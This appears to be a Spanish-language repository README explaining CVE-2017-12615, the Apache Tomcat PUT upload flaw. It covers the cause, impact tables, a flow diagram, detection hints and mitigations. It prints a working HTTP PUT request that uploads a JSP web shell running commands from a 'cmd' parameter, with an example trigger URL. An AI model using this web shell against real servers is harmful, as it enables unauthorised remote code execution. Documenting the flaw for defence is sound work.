
CVE-2017-12615 - Apache Tomcat Ejecución Remota de Código (RCE)
CVE-2017-12615 es una vulnerabilidad de ejecución remota de código (RCE) que afecta a Apache Tomcat 7.0.0 hasta 7.0.79 que se ejecuta en Microsoft Windows cuando las solicitudes HTTP PUT están habilitadas.
La vulnerabilidad existe porque Tomcat maneja incorrectamente los archivos JSP subidos cuando el DefaultServlet está configurado con el parámetro readonly establecido en false. En estas condiciones, un atacante no autenticado puede subir un archivo JSP malicioso directamente al servidor web y ejecutar código Java arbitrario con solo solicitar el archivo subido.
Esta vulnerabilidad se convirtió en uno de los problemas RCE de Tomcat más conocidos debido a lo fácil que era convertirla en un arma contra servidores mal configurados.
readonly="false" configurado en el DefaultServlet| Métrica | Valor |
|---|---|
| CVE | CVE-2017-12615 |
| CVSS v3 | 8.1 (Alta) |
| Vector de ataque | Red |
| Privilegios requeridos | Ninguno |
| Interacción del usuario | Ninguna |
| Impacto | Ejecución remota de código |
Normalmente, Apache Tomcat impide que los usuarios suban archivos JSP ejecutables.
Sin embargo, cuando:
readonly=false)un atacante puede subir un archivo JSP directamente a la raíz web.
Una vez subido, solicitar ese JSP hace que Tomcat lo compile y lo ejecute, lo que permite la ejecución de código Java arbitrario con los privilegios del servicio de Tomcat.
Atacante
│
│ HTTP PUT
▼
Sube una shell JSP maliciosa
│
▼
Tomcat almacena el archivo
│
│ HTTP GET
▼
Solicita el JSP subido
│
▼
Tomcat compila el JSP
│
▼
Se ejecuta el código Java
│
▼
Ejecución remota de código
Un ataque típico sigue estos pasos:
.jsp maliciosa.No se requiere autenticación si el servidor es vulnerable.
Ejemplo de solicitud HTTP PUT:
PUT /shell.jsp HTTP/1.1
Host: victim.com
Content-Type: application/octet-stream
<%@ page import="java.io.*" %>
<%
Runtime.getRuntime().exec(request.getParameter("cmd"));
%>
Si tiene éxito, el servidor responde con:
HTTP/1.1 201 Created
El payload se puede ejecutar visitando:
http://victim.com/shell.jsp?cmd=whoami
Una forma sencilla de identificar sistemas vulnerables es intentar subir un JSP de prueba inofensivo:
PUT /test.jsp
Las respuestas posibles incluyen:
201 Created
o
204 No Content
Si el archivo subido puede recuperarse posteriormente a través de HTTP, es probable que el servidor sea vulnerable.
Una explotación exitosa permite a un atacante:
Los equipos de seguridad deben investigar:
.jsp recién creadosLas mitigaciones recomendadas incluyen:
readonly="true".| Propiedad | Valor |
|---|---|
| Vulnerabilidad | Carga arbitraria de JSP |
| CWE | CWE-434 - Carga sin restricciones de archivos con tipo peligroso |
| Autenticación requerida | No |
| Complejidad de explotación | Baja en configuraciones vulnerables |
| Resultado | Ejecución remota de código |
| Plataforma | Windows |
| Servicio | Apache Tomcat |
Este repositorio está destinado únicamente a fines educativos, investigación de seguridad defensiva y pruebas de penetración autorizadas. No utilice esta información contra sistemas sin permiso explícito.